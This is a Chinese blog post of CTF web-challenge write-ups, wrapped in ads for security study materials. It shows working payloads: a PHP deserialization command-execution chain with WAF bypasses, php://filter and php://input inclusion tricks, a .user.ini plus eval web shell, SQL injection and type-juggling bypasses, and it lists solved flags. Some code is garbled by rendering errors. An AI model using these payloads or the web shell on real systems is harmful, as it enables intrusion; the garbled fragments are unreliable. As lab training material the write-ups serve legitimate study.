最新CTF题目合集_网络安全ctf大赛题库(3),大厂内部资料

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

if (!preg_match_all(“/(||&|;| |/|cat|flag|tac|php|ls)/”, $str, $pat_array)) {
return $str;
} else {
echo “don’t hack”;
}

这个WAF函数 是执行了过滤的操作 对参数的内容进行的过滤 过滤了 如下这些内容

  1. 在WAF这段PHP脚本结束后 就会执行destruct这个函数 这个函数进行了判断 如果$this->method 包含了ping这个方法 就使用这个函数 call_user_func_array
  2. call_user_func_array 这个函数的作用:call_user_func_array() 函数的作用是以回调函数的方式调用一个函数,并将一个数组作为参数传递给该函数。

在给定的代码中,call_user_func_array(array($this, $this->method), $this->args) 的作用是调用对象 $this 的方法 $this->method(也就是调用ping函数的方法 也就是destruct下面那个ping函数),并将 $this->args 数组作为参数传递给该方法。

这种用法通常用于动态地调用对象的方法,并根据需要传递不同的参数。通过将方法和参数封装到一个数组中,可以实现更灵活的调用方式。例如,可以在运行时决定要调用哪个方法,以及传递什么样的参数。

  1. 所以可以看出来这个$this->method调用的是ping这个方法 args就是所要传的参数 所以 从这里就可以看出来ctf需要传两个内容 一个是ping 另一个就是ping的内容了
  2. 所以下面那个ping函数的内容那个$ip就是参数的内容 所以现在就需要构造这个参数的内容
  3. 所以现在就需要构造payload 构造payload时候需要一个new ease的函数
  4. new ease 是创建 ease 类的一个对象实例。它使用 new 关键字来实例化一个对象,将 ease 类实例化为一个对象,使得该对象可以调用类中定义的方法和属性
  5. 开始构造payload 首先需要ls一下 看看有没有flag的文件 由于 ls被过滤了 可以但那时\没有被过滤 所以我们可以使用l\s来绕过 因为在linux中 是可以这样拼接命令的 l\仍会继续 你继续输入s后会执行ls的命令
<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$payload = new ease ('ping',array('l\s'));
echo base64_encode(serialize($payload));
  1. 39 40 行就是写的payload newease函数 调用了ping这个类的方法 后面跟的数组array就是那个$ip的内容 然后这个内容就会调用exec这个命令中 去执行 返回result 然后源代码中也会输出这个result的内容
  2. 其次需要用burp来抓包 注意一开始抓包是get的请求 我们需要改成post 方法如下:
  3. 然后发送到repeater的模块
  4. 注意post请求发参数的形式就是这样的 并且在render模块进行查看
  5. ls 后可以发现有flag的文件(也可能是目录) 接下来我们需要查看这个文件(目录)的内容来获得flag 我们需要继续修改payload的内容 KaTeX parse error: Undefined control sequence: \s at position 36: …'ping',array('l\̲s̲{IFS}fl\ag_1s_here’));
  6. 找到文件后我们需要查看这个文件的内容
  7. 但是现在需要查看这个文件的内容就需要more + 这个目录 + \ + 这个文件的名字
  8. 但是这里不能直接用\ 我们需要用8进制编码来输出这个\ :\57
  9. 应该如何输出这个东西呢:在linux环境下 ( p r i n t f (printf (printf{IFS}“\57”) 这样就会输出 \ 注意括号必须加上
  10. payload 为 moreKaTeX parse error: Undefined control sequence: \ag at position 8: {IFS}fl\̲a̲g̲\_1s\_here(printf${IFS}“\57”)fl\ag_831b69012c67b35f.p\hp
  11. 获得flag

2.file_include题目

<?php highlight\_file(\_\_FILE\_\_); include("./check.php"); if(isset($\_GET['filename'])){ $filename = $\_GET['filename']; include($filename); } ?>
  1. 首先get方式传一个filename的参数
  2. 然后包含他
  3. 这里的思路:通过php的伪协议(php:filter//)来获取flag(猜测存放flag的文件是flag.php)
  4. # 明文读取

?filename=php://filter/resource=flag.php

发现并没有回显,猜测可能是页面源码里面有

发现并没有可能是被注释掉了

# 编码读取

?filename=php://filter/read=convert.base64-encode/resource=flag.php

  1. 尝试用base64过滤器的方法 并没有得到flag但是可以了解flag确实是在flag.php中
  2. 接下来尝试其他的过滤器的方法
  3. convert.base64

convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用base64_encode()和base64_decode()函数处理所有的流数据。convert.base64-encode支持以一个关联数组给出的参数。如果给出了line-length,base64 输出将被用line-length个字符为 长度而截成块。如果给出了line-break-chars,每块将被用给出的字符隔开。这些参数的效果和用base64_encode()再加上 chunk_split()相同。

convert.quoted

convert.quoted-printable-encode和convert.quoted-printable-decode使用此过滤器的decode版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和convert.quoted-printable-encode相对应的函数。convert.quoted-printable-encode支持以一个关联数组给出的参数。除了支持和convert.base64-encode一样的附加参数外,convert.quoted-printable-encode还支持布尔参数binary和 force-encode-first。convert.base64-decode只支持line-break-chars参数作为从编码载荷中剥离的类型提示。

convert.iconv.*

这个过滤器需要php支持 iconv ,而iconv是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

  1. 尝试使用convert.iconv.这个过滤器试试

利用方式如下:convert.iconv.utf8.utf8 必须后面跟两种字符编码的方式 但是如果一个一个试有点麻烦 用BP来多次进行尝试攻击

  1. ?filename=php://filter/convert.iconv.utf8.utf8/resource=flag.php
  2. 接下来在response上找有正常编码的flag即可
  3. flag为 cyberpeace{ec5a54fdd71ae884958c476bd0493f6e}

3.php代码审计


<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}

if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}

?>

Emmm...  
  1. 分析代码:
  2. $a = $_GET[‘a’];
    $b = $_GET[‘b’];

以get方式传ab两个参数

  1. if(isset(KaTeX parse error: Expected 'EOF', got '&' at position 4: a) &̲& intval(a) > 6000000 && strlen($a) <= 3)
  2. 如果传了a得值并且a经过intval转化后的整数得值要>6000000 并且a得长度小于等于3,但是这里就会有一个矛盾得点 又得大于6000000又得长度小于3
  3. 我们可以用1e9来上传 1e9也就是 10的9次方这样就可以满足原题的条件
  4. if(isset(KaTeX parse error: Expected 'EOF', got '&' at position 4: b) &̲& '8b184b' === …b),-6,6))
  5. 如果传了一个b的值 并且还得满足后面的条件
  6. 我们需要算出来这个b的值 用代码算即可
  7. 代码如下
<?php
$b = 0;
while(True)
{
    if('8b184b' === substr(md5($b),-6,6))
    {
        echo $b;
        break;
    }
    $b++;
}
  1. c = ( a r r a y ) j s o n _ d e c o d e ( @ c=(array)json\_decode(@ c=(array)json_decode(@_GET[‘c’]);
  2. 解释这个代码 :
  • @$_GET[‘c’]:这段代码首先尝试从GET请求中获取名为"c"的参数的值。
  • json_decode():然后使用json_decode()函数将获取到的JSON字符串解码为PHP对象。
  • (array):最后,使用类型转换操作符(array)将解码后的PHP对象转换为数组。

举个例子,如果你通过URL发送了如下GET请求:

Copy Codehttp://example.com/script.php?c={"name":"John","age":30}

那么上面的PHP代码将把URL中的"c"参数值解析为JSON对象,并转换为PHP数组,类似于下面的结果:

Copy Code$c = array(
    "name" => "John",
    "age" => 30
);
  1. if(is_array(KaTeX parse error: Expected 'EOF', got '&' at position 4: c) &̲& !is\_numeric(…c[“m”]) && $c[“m”] > 2022)
  2. 如果c是数组 并且 !is_numeric(@ c [ " m " ] ) :使用 i s _ n u m e r i c 函数检查数组 c["m"]) : 使用is\_numeric函数检查数组 c["m"]):使用is_numeric函数检查数组c中名为m的元素的值是否为数字 $c[“m”] > 2022 : 并且这个m元素的值 需要大于2022
  3. 这里就又矛盾了 如果既要求m元素的值不是数字 还需要大于 2022 这里php有一个语言特性 2023m>2022 在进行比较时 php会取一个比较数中前面的数字来进行与后面的数字的比较
  4. if(is_array(@KaTeX parse error: Expected 'EOF', got '&' at position 9: c["n"]) &̲& count(c[“n”]) == 2 && is_array($c[“n”][0])){
    $d = array_search(“DGGJ”, $c[“n”]);
    d = = = f a l s e ? d i e ( " n o . . . " ) : N U L L ; f o r e a c h ( d === false?die("no..."):NULL; foreach( d===false?die("no..."):NULL;foreach(c[“n”] as k e y = > key=> key=>val){
    $val===“DGGJ”?die(“no…”):NULL;
  5. 如果c中名为n元素的值是数组 并且这个数组中有两个元素 并且第1个元素的值也是数组
  6. 注意这个arraysearch是个弱类型的比较 是== 而不是 === 也就是说遍历c中n元素的值如果找到值==DGGJ 就继续下面的那个循环 如果找不到就返回FALSE 也就直接终止程序了
  7. 接下来进入下面那个循环时 又遍历c中n元素的值 找DGGJ如果找到就终止程序
  8. 这个时候就又有矛盾了 又需要值得等于DGGJ 又不能让她出现
  9. 这个时候就需要array_search 这个弱类型的比较了
  10. 因为他是== 而不是=== 这个时候 如果“cgy”==0 这个等式是 成立的
  11. 所以就可以这么进行绕过
  12. 所以最后的abc的参数为
  13. ?a=1e9&b=53724&c={“m”:“2023x”,“n”:[[],0]}
  14. 获得;flag

4.fileclude(仍是文件包含伪协议绕过)

 WRONG WAY!
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}


分析代码:

  • 首先,它检查是否有名为"file1"和"file2"的GET参数传入。
  • 然后,将这两个参数的值分别赋给变量file1和file1file2。
  • 接着,它检查file1和file1file2是否都不为空。
  • 如果满足上述条件,并且file2的内容等于"hello ctf",那么它会包含file2的内容等于"helloctf**",那么它会包含file1指定的文件。**
  • 否则,会输出"NONONO"并终止程序。
  1. 现在需要上传file1与file2的值但是还必须将file2的值为hello ctf
  2. 仍在考php的伪协议
  3. 对于这个===hello ctf
  4. 需要用
  5. 对于file1则是??filename=php://filter/read=convert.base64-encode/resource=flag.php这段伪协议
  6. 又因为使用input这个命令执行的伪协议只能读取post中的data部分 需要抓包才能将data的内容改为hello ctf
  7. 最后的url为
  8. ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
  9. 必须要在左边写hello ctf 才能使input函数读入这段字符串
  10. 因为是用base64编码的所以需要解码一下
  11. flag为cyberpeace{4ac5762a8c1149754fecc0727f8245f4}

5.fileinclude

考点:考了cookie的利用 以及文件包含php伪协议的利用

  1. 打开后发现页面没有源码什么的
  2. 用F12查看页面源代码试试
  3. 源码如下
<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
	@setcookie("language","english");
	@include("english.php");
}
else
{
	@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
  1. 查看源码后发现里面include有可控的变量 cookie 中的language
  2. 所以用BP抓包修改cookie中language的值 并用php伪协议来获取flag.php
  3. 发现并没有cookie的值 所以需要我们自己写
  4. 注意这个cookie的赋值必须在connection下面 并且这里将english赋给language后原来的报错没有了
  5. 证明填的位置正确了
  6. 所以只需要resource后面写flag即可 因为源码中拼接了.php
  7. 最后解码一下即可
  8. cyberpeace{b6408b005f630c84392534b561a3b11e} 得到flag

6.easyupload

考点:考文件上传漏洞

  1. 先上传.user.ini(必须是.user.ini文件 不能少点 要不然后面蚁剑连接不成功)文件使其包含一个图片 然后再上传一个图片,最后用蚁剑来连接
GIF89a                  
auto_prepend_file=a.jpg
  1. 题头GIF89a是为了防止后端检测这个文件的开头是不是JPG或者其他图片格式 可以绕过后端的检测
  2. 上传这个文件时用bp上传改一些内容也是防止后端检测
  3. 然后再上传一个jpg文件里面有一句话木马
GIF89a
<?=eval($_REQUEST['cmd']);?> 
  1. 然后将格式改为jpg的格式 继续再bp repeater模块中检测
  2. 这里发现仍然上传不上去
  3. 可能是检测了内容 把php删掉改成=试试
  4. 上传成功
  5. 上传成功后,现在需要找到路径才能填蚁剑的那个地址
  6. 这个就是其地址
  7. 用蚁剑连接

7.inget&robots

由此可见是考SQL注入的

  1. 用万能钥匙来获得flag即可
  2. ?id=1’or 1=1 --+ 有时候需要双引号 有时候单引号 有时候不需要引号 即可获得flag

  1. 这道题考robots协议
  2. robots是搜索引擎爬虫协议,也就是你网站和爬虫的协议。

**简单的理解:**robots是告诉搜索引擎,你可以爬取收录我的什么页面,你不可以爬取和收录我的那些页面。robots很好的控制网站那些页面可以被爬取,那些页面不可以被爬取。

主流的搜索引擎都会遵守robots协议**。并且robots协议是爬虫爬取网站第一个需要爬取的文件。爬虫爬取robots文件后,会读取上面的协议,并准守协议爬取网站,收录网站。**

robots文件是一个纯文本文件,也就是常见的.txt文件。在这个文件中网站管理者可以声明该网站中不想被robots访问的部分,或者指定搜索引擎只收录指定的内容。因此,robots的优化会直接影响到搜索引擎对网站的收录情况。

  1. 可以发现这里有flag的文件 所以我们直接在当前目录访问即可

8. get_post&disabled_button&cookie

  1. 用BP抓包上传post方式b的值

  1. 遇到页面没有什么可利用的消息可以按F12来获取信息
  2. 把disable删掉即可
  3. 然后按下按钮

  1. 考察cookie的相关信息
  2. 按F12
  3. 发现有cookie.php
  4. 然后访问cookie.php
  5. 然后让我们看http response

9.  备份文件&ics-06

  1. 猜测是目录扫描,从而找到flag的文件
  2. 扫描后发现这里是空的 点开后有一个文件自动下载

  1. 打开后发现只有这个页面可以打开
  2. 猜测是SQL注入 于是用SQLmap检测有没有sql注入的点
  3. 发现并没有
  4. 猜测id=1 这个整数1存在暴力破解
  5. 成功找到

10. PHP2

考点:URL解码:%+assic 16进制

  1. 页面上问的是:你能认证这个网站么
  2. 先F12查看有没有可利用的消息
  3. 发现并没有什么可利用的
  4. 尝试访问一下indedx.php
  5. 这道题考的是文件的后缀 phps:文件的源代码
  6. 例如 index.phps 查看的就是index.php的源代码
  7. 试着提交的id=admin (注意是在index.php上 而不是index.phps上)
  8. 发现是not allowed 但是源代码中id后经过了url解码 使得解码后的id 与admin相等
  9. 于是用url编码admin 但是 admin经过url编码后还是admin 没有变化
  10. url解码是 %+ascii16进制 (注意这里百分号 也得是ascii表的16进制形式)
  11. 所以这里将a改为 %2561 25为%的ascii16进制 61为小写字母a的ascii16进制

11.robots

  1. 看了题目后猜测 是robots协议
  2. 然后继续查看flag的文件即可

12. unserialize3&view_source

核心思想:不让wakeup这个函数执行 只有反序列化异常的情况下(也就是属性值个数大于属性个数的时候即异常)

有一个PHP的类:xctf

有一个flag的对象

wakeup的方法 如果触发了这个方法 就离开了 也就得不到flag的值

?code:将类以参数的形式传给xctf

目标:1.反序列化xctf

步骤:1.先序列化flag对象的值

<?php
class xctf
    {
        public $flag = '111';
    }
$a = new xctf();
echo serialize($a);


### 一、网安学习成长路线图


网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/aa7be04dc8684d7ea43acc0151aebbf1.png)


### 二、网安视频合集


观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/f0aeee2eec7a48f4ad7d083932cb095d.png)


### 三、精品网安学习书籍


当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/078ea1d4cda342f496f9276a4cda5fcf.png)


### 四、网络安全源码合集+工具包


光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/e54c0bac8f3049928b488dc1e5080fc5.png)


### 五、网络安全面试题


最后就是大家最关心的网络安全面试题板块  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/15c1192cad414044b4dd41f3df44433d.png)![在这里插入图片描述](https://img-blog.csdnimg.cn/b07abbfab1fd4edc800d7db3eabb956e.png)  



**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 9
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值